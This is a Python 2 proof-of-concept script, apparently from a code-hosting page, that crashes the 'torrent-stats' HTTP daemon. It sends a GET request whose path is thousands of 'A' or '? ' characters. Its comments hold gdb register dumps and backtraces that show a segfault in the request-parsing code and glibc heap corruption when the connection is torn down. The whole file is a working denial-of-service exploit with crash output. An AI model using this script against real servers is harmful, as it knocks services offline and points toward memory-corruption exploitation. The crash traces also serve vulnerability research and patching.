57 lines
No EOL
2.7 KiB
Python
Executable file
57 lines
No EOL
2.7 KiB
Python
Executable file
#!/usr/bin/python
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import socket, urllib, sys
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host = 'localhost'
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port = 8080
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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s.connect((host, port))
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s.settimeout(8)
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print 'Sending GET request'
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# size = sys.argv[1]
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# Crash at A * 16378
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size = 16379
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# DOS #1: gdb trace for buffer1
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#Program received signal SIGSEGV, Segmentation fault.
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#--------------------------------------------------------------------------[regs]
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# EAX: 0x00000000 EBX: 0x08051258 ECX: 0x00000000 EDX: 0x20202020 o d I t s Z a P c
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# ESI: 0x080537BC EDI: 0x080537B8 EBP: 0xBFFFF2E8 ESP: 0xBFFFF2B0 EIP: 0x0804AF72
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# CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
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#--------------------------------------------------------------------------[code]
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#=> 0x804af72 <httpd_content_handler+306>: movb $0x0,(%eax)
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# 0x804af75 <httpd_content_handler+309>: mov 0x20(%ebx),%edx
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# 0x804af78 <httpd_content_handler+312>: add $0x1,%eax
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# 0x804af7b <httpd_content_handler+315>: mov %eax,(%edx)
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# 0x804af7d <httpd_content_handler+317>: mov -0x1c(%ebp),%eax
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# 0x804af80 <httpd_content_handler+320>: movzbl 0x1(%eax),%edx
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# 0x804af84 <httpd_content_handler+324>: test %dl,%dl
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# 0x804af86 <httpd_content_handler+326>: je 0x804b12e <httpd_content_handler+750>
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#--------------------------------------------------------------------------------
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#parse_args (fd=0x9, privdata=0x8051258) at httpd.c:106
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#106 *tmp++ = '\0';
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buffer1 = "/" + "A" * int(size)
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# DOS #2 : gdb trace for the buffer2
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# *** glibc detected *** /root/torrent-stats/torrent-stats: munmap_chunk(): invalid pointer: 0x080537b8 ***
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# *** glibc detected *** /root/torrent-stats/torrent-stats: malloc(): memory corruption: 0x080512c8 ***
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#gdb$ backtrace
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#0 0xb7fe2430 in __kernel_vsyscall ()
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#1 0xb7e9b651 in raise () from /lib/tls/i686/cmov/libc.so.6
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#2 0xb7e9ea82 in abort () from /lib/tls/i686/cmov/libc.so.6
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#3 0xb7ed249d in ?? () from /lib/tls/i686/cmov/libc.so.6
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#4 0xb7edc591 in ?? () from /lib/tls/i686/cmov/libc.so.6
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#5 0xb7edf395 in ?? () from /lib/tls/i686/cmov/libc.so.6
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#6 0xb7ee0f9c in malloc () from /lib/tls/i686/cmov/libc.so.6
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#7 0xb7ed2437 in ?? () from /lib/tls/i686/cmov/libc.so.6
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#8 0xb7edc591 in ?? () from /lib/tls/i686/cmov/libc.so.6
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#9 0xb7edd80e in ?? () from /lib/tls/i686/cmov/libc.so.6
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#10 0x0804ad26 in destroy_httpd_con (con=0xb7fc6ff4) at httpd.c:43
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#11 0x0804b0df in httpd_content_handler (fd=0x9, privdata=0x8051258) at httpd.c:193
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#12 0x0804a7a0 in event_loop () at event.c:303
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#13 0x0804d237 in main (argc=0x2, argv=0xbffff474) at torrent-stats.c:124
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buffer2 = "/" + "? " * int(size) + "?"
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buffer = buffer2
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s.send('GET ' + buffer + ' HTTP/1.1\r\nHost: ' + host + '\r\n\r\n')
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print s.recv(8192) + s.recv(8192) |